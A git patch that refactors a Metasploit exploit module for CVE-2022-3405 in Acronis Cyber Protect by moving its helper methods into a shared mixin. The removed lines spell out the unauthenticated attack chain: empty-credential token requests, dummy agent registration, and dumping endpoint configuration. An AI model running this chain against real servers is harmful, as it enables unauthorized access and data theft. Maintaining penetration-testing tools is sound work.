From 2115c81654819d9b01cff4374c2f923e714dcd4d Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 27 Nov 2024 22:21:27 +0000 Subject: [PATCH] update using acronis_cyber mixin --- ..._cyber_protect_unauth_rce_cve_2022_3405.rb | 132 +----------------- 1 file changed, 1 insertion(+), 131 deletions(-) diff --git a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb index 8124cd7cff5a..99e2903918ce 100644 --- a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb +++ b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb @@ -8,7 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report - # include Msf::Exploit::Remote::HTTP::AcronisCyber + include Msf::Exploit::Remote::HTTP::AcronisCyber prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) @@ -94,136 +94,6 @@ def initialize(info = {}) ]) end - # return first access_token or nil if not successful - def get_access_token1 - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest' - }, - 'vars_post' => { - 'grant_type' => 'password', - 'username' => nil, - 'password' => nil - } - }) - return unless res&.code == 200 - return unless res.body.include?('access_token') - - # parse json response and return access_token - res_json = res.get_json_document - return if res_json.blank? - - res_json['access_token'] - end - - # returns the client_secret if successful otherwise nil - def dummy_agent_registration(client_id, access_token1) - name = Rex::Text.rand_text_alphanumeric(5..8).downcase - post_data = { - client_id: client_id.to_s, - data: { agent_type: 'backupAgent', hostname: name.to_s, is_transient: true }, - tenant_id: nil, - token_endpoint_auth_method: 'client_secret_basic', - type: 'agent' - }.to_json - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'api', 'account_server', 'v2', 'clients'), - 'ctype' => 'application/json', - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{access_token1}" - }, - 'data' => post_data.to_s - }) - return unless res&.code == 201 && res.body.include?('client_id') && res.body.include?('client_secret') - - # parse json response and return client_secret - res_json = res.get_json_document - return if res_json.blank? - - res_json['client_secret'] - end - - # return second access_token or nil if not successful - def get_access_token2(client_id, client_secret) - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest' - }, - 'vars_post' => { - 'grant_type' => 'client_credentials', - 'client_id' => client_id.to_s, - 'client_secret' => client_secret.to_s - } - }) - return unless res&.code == 200 - return unless res.body.include?('access_token') - - # parse json response and return access_token - res_json = res.get_json_document - return if res_json.blank? - - res_json['access_token'] - end - - # return all configured items in json format or return nil if not successful - def get_machine_info(access_token2) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'resources'), - 'ctype' => 'application/json', - 'keep_cookies' => true, - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{access_token2}" - }, - 'vars_get' => { - 'embed' => 'details' - } - }) - return unless res&.code == 200 - return unless res.body.include?('items') || res.body.include?('data') - - if datastore['OUTPUT'] == 'json' - loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration') - print_good("Configuration details are successfully saved in json format to #{loot_path}") - end - - # parse json response and get the relevant machine info - res_json = res.get_json_document - return if res_json.blank? - - res_json - end - - # return version information or nil if not successful - def get_version_info(access_token2) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'versions'), - 'ctype' => 'application/json', - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{access_token2}" - } - }) - return unless res&.code == 200 - return unless res.body.include?('backendVersion') - - # parse json response and get the relevant machine info - res_json = res.get_json_document - return if res_json.blank? - - res_json['backendVersion'] - end - # create and import backup plan data with payload # returns nil if not successful def create_and_import_backup_plan(hostid, parentid, key, payload, access_token2)